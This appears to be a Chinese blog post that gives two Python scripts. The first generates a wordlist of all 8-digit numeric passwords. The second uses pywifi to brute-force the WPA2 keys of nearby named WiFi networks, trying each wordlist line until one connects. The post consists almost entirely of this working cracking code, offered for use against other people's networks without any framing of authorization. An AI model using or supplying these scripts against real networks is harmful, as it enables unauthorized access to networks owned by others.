python之生成字典和连接Wifi


一、生成字典

# -*- coding: utf-8 -*-
import itertools as its

# 单个字符的集合
words="0123456789"

# 每次任选一个字符,重复8次
arrays = its.product(words, repeat = 8)

# 写入txt文本文件
dictionary = open("C:/Users/Administrator/Desktop/dictionary.txt","a")

for item in arrays:
	# 一行密码
    dictionary.write("".join(item))
    # 换行
    dictionary.write("".join("\n"))
    print(item)

# 关闭文件
dictionary.close()

print("[mission completion]")

二、连接Wifi

import pywifi
from pywifi import const
import time
 
#测试连接,返回链接结果
def wifiConnect(ssid,pwd):
    # 抓取网卡接口
    wifi=pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    # 休眠一秒
    time.sleep(1)
    # 获取网卡状态
    wifistatus=ifaces.status()
    # 未连接时
    if wifistatus ==const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile=pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid=ssid
        # 网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        # wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key=pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        # 连接成功
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        # 连接失败
        else:
            return False
    else:
        print("已有wifi连接") 
 
#读取密码本
def readPassword(ssid):
    print("开始破解:",ssid)
    # 密码本路径
    dictionary_path="C:/Users/Administrator/dictionary.txt"
    # 打开文件 
    file=open(dictionary_path,"r")
    
    '''
    # 这里可以跳行保存上次的进度,接着破解
    for i in range(16547):
        line = file.readline()
    '''
    
    while True:
        try:
            # 一行一行读取
            line=file.readline()
            # 读完了退出
            if not line:
                break
            # 破解结果
            bool=wifiConnect(ssid,line)
            
            # 破解成功
            if bool:
                print(ssid,"的密码已破解: ",line)
                print("WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print(ssid,"的密码破解中....密码校对: ",line)
        # Ctrl-C中止程序
        except:
            print("中止程序")
            break

if __name__ == '__main__':
    # 这里手动输入周围的WiFi名字
    wifi_names = ['ChinaNet-A','奥托曼的WIFI','360Wifi']
    # 测试每个WiFi
    for item in wifi_names:
        readPassword(item)
  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值